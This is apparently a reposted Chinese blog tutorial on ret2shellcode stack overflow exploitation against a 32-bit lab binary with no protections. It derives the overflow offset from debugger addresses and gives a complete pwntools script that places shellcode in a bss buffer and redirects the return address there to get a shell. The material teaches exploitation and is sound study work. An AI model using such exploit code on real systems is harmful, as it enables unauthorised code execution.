参考:栈溢出实例–笔记二(ret2shellcode)
地址:https://qingmu.blog.csdn.net/article/details/119303513
目录
- 1、栈溢出含义及栈结构
- 2、ret2shellcode基本思路
- 3、实战一下
- 3.1、二进制程序如下
- 3.2、分析调试查看栈
- 3.3、编写payload获取shell
- 3.4、操作结果
1、栈溢出含义及栈结构
请参考前一篇博文
2、ret2shellcode基本思路
ret2shellcode需要我们控制程序执行shellcode代码。即ret2shellcode的目标就是在栈上写入布局好的shellcode,利用ret-address返回到shellcode出执行我们的shellcode代码。
注意:在栈溢出的基础上,我们都是向栈中写入内容,所以要执行shellcode,需要对应的binary文件没有开启NX(栈不可执行)保护。
补充:什么是shellcode?
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。
3、实战一下
3.1、二进制程序如下
可以看出这个程序是个32位的程序,什么保护机制都没开。
部分汇编如下:
反汇编伪代码如下:
我们发现这里有gets函数,并且未对输入的s做限制,那么肯定是通过s写入更多的内容来做栈溢出。
3.2、分析调试查看栈
我们运行到gets函数,查看栈结构:
此时栈的第一个参数的地址为0xffffd3fc,s的地址为0xf7ffd000。
此时我们想执行我们的shellcode,肯定要覆盖ret-address的地址嘛,ret-address的地址就在ebp的后面。
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c
所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,这里就得跳到我们的shellcode的地址。
但是得注意我们的shellcode是在man结束后覆盖的返回值地址,那么此时gets函数的栈会被清空或者覆盖或者释放掉。那么此时我们覆盖的ret-address地址会找不到。但是我们发现
这个buf2是个bss段的地址,那么buf2的地址是不会变的,我们就可以让程序调到buf2的地址来运行我们的shellcode。
3.3、编写payload获取shell
和上篇文章一样使用Python来写。
# coding=UTF-8
from pwn import * #引用pwn库
p = process("./ret2shellcode") #指定程序
buf2_addr = 0x0804A080 #放置执行shellcode的地址
sc = asm(shellcraft.sh()) #生成shellcode
payload = sc.ljust(0x6c+4,"a") + p32(buf2_addr) # 构造payload
p.sendlineafter("No system for you this time !!!\n",payload) #在“No system for you this time !!!\n”后开始用payload覆盖栈
p.interactive() #生成一个shell与我们的shellcode交互
3.4、操作结果
此时已经成功的拿到了shell。